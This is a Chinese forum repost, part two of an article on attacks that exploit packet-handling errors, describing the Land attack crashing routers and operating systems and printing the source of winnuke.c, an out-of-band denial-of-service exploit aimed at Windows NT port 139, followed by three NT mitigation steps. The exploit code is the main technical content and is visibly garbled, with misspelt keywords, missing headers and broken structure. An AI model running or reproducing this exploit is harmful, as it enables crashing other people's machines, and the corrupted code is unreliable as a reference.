精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◆破解技巧◆>>利用处理程序错误攻击(下)

主题:利用处理程序错误攻击(下)
发信人: yydyao()
整理人: williamlong(2001-11-21 21:04:16), 站内信件
利用处理程序错误攻击(下) 
转载:xundi(xundi) 
来源:红色力量 
 
从红色力量中转载--见我们的连接 
利用处理程序错误攻击(下) 


3 Land攻击工具 

Land也是一个很厉害的攻击工具,有人专门用Land对某种路由器进行了测试,结果发现,当对23端口进行 
攻击,路由器再也不能连到本地网上或域网外部。前面面板上的灯也停止了闪烁,用ping没有响应, 
tenlnet命令也无效。此时,唯一的选择便是来一个硬重启动。如下是对Land攻击cisco路由器的一番描述: 


“当攻击端口23时,它果然锁住了路由器,此时,路由器再也不能到达内部的局域网,同样也不能到达外 
部的广域网,前面面板上的灯也停止了闪动,这时候,也不能ping通它,也不能telnet到它。唯一的选择 
只有来一个硬重启动。“ 

可以说对许多使用cisco路由器的网络来说,这一点是非常可怕的。 

更有人专门用Land对当前流行的操作系统进行了一番测试,结果是Land可攻击的对象竟然包括了相当多的 
操作系统,诸如AIX3、HP-UX 10。20、IRIX Windows 95和Windows NT等当前流行的操作系统。 

更为危险的是,在现在的网上,诸如teardrop.c 、bonk.c(55端口)、bionk.c和SSPing.c一类的攻击端口 
的源程序到处都是,从编写得很完善的,到一些个人自己编写的简陋的测试程序。任何感兴趣的人,都可 
以稍微工花费一些时间研究一下,就可以将他们变成自己的工具。因此,对于系统不是最新的或者还没有 
打过“补丁”,对自己的系统打“补丁”确实是当务之急。 

4 OOB攻击工具 

5.1 攻击代码 

OOB是一种专门攻击Windows NT139端口的工具。下面是它的一个可用的版本。可以用它来检测自己系统的 
安全性。 

/* winnuke.c – (05/07/97) BY –ECI */ 

/* Tested on Linux 2.0.30,Sunos 5.5.1, and BSDI 2.1 */ 

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define dport 139 /*Attack port; 139 is what we want */ 

int x,s; 

char str =”Bye”; /Makes no diff */ 

struct sockaddr-in addr, spoofedaddr; 

atruct hostent *host; 

int opdn-sock(int scok, char *server,int port) { 

struct sockaddr-in blah; 

struct hostent *he; 

bzero ((char*) &blah,sizeof(blah)); 

blah.sin-family=AF-INET; 

blah.sin-addr.s-addf=inet-addf(server); 

blah.sin-port=htons(port); 

if((he=gethostbyname(server)) ! =NULLL) { 

bcopy(he->addr,(char*)&blah.sin-addr,he->h-length); 



else { 

if ((blah.sin-addr =inet-addr (server)) <0) {

return(-3);

}

}

if (connect (sock,(struct sockaddr *)&blah,16)==-1) {

perror(“cinnect()”);

close(sock);

retuen(-4);

}

void main (int argc,char *argv[]) {

if (argc !=2) {

printf(“Usage: %s
exit(0);

}

if ((s =socket(AF-INET,SOCK-STREAM, IPPROTO-TCP)) =-1) {

PERROR (“socket()”);

Exyt(-1);

}

open-sock(s,argv[1],dport);

printf(“Sending crash …”);

send (s, str, atrldn (str),MSG-OOB);

usleep (100000);

printf(“Done!\n”);

close(s);

}

10.5.2 一些临时措施

目前有三种临时性的解决方案可用。前两种的后果是用户只能使用拔号网络而无法再使用局域网了,
第三种方法通过包过滤,来阻止对联39端口的访问。因为它需要网卡的支持,所以只用于局域网内部。

方法一:

1. 进入[控制面板]窗口---[网络]对话框---[绑定]选项卡。

2. 打开[显示绑定属于]列表,选择[所有适配器]。

3. 找到[远程访问WAN Wrapper],打开它,找到[WINS客户(TCP/IP)]。

4. 单击[禁用]按钮。

5. 确认后,重新启动系统。

需要注意的是,当登录进Windows NT 4。0时,就会有一个消息框,说明有一些服务或者驱动没有启动。
这是正常的,而且每次启动时都会有。

方法二:

1. 进入[控制面板],找到[设备]图标。

2. 到列表的底部,找到[WINS客户(TCP/IP)]。

3. 单击[停止]按钮,然后单击[关闭]按钮。

4. 重启系统。

这种方法更简洁地实现了第一种方法,但是对一些局域网内的使用WINS TCP/IP客户来说这是一个灾难了。
所以要与系统管理员联系,以决定这样做是否必要

方法三:

Windows NT4。0提供了一个选项,可以对端口进行过滤。这可以用来对目标端口是非曲直39的那些数据包
进行过滤。需要知道的是这种方法将对使用NetBIOS产生一些不必要的副作用。

1. 进入[控制面板] ,选择[网络]/[协议]/[TCP/IP] 单击[属性] 按扭。

2. 在IP地址表中,选择[高级]按扭。

3. 在[高级]的TCP/IP属性对话框中,选择封锁哪些端口,允许哪些端口继续使用。

4. 单击[确定],然后退出,重启动系统。

[关闭][返回]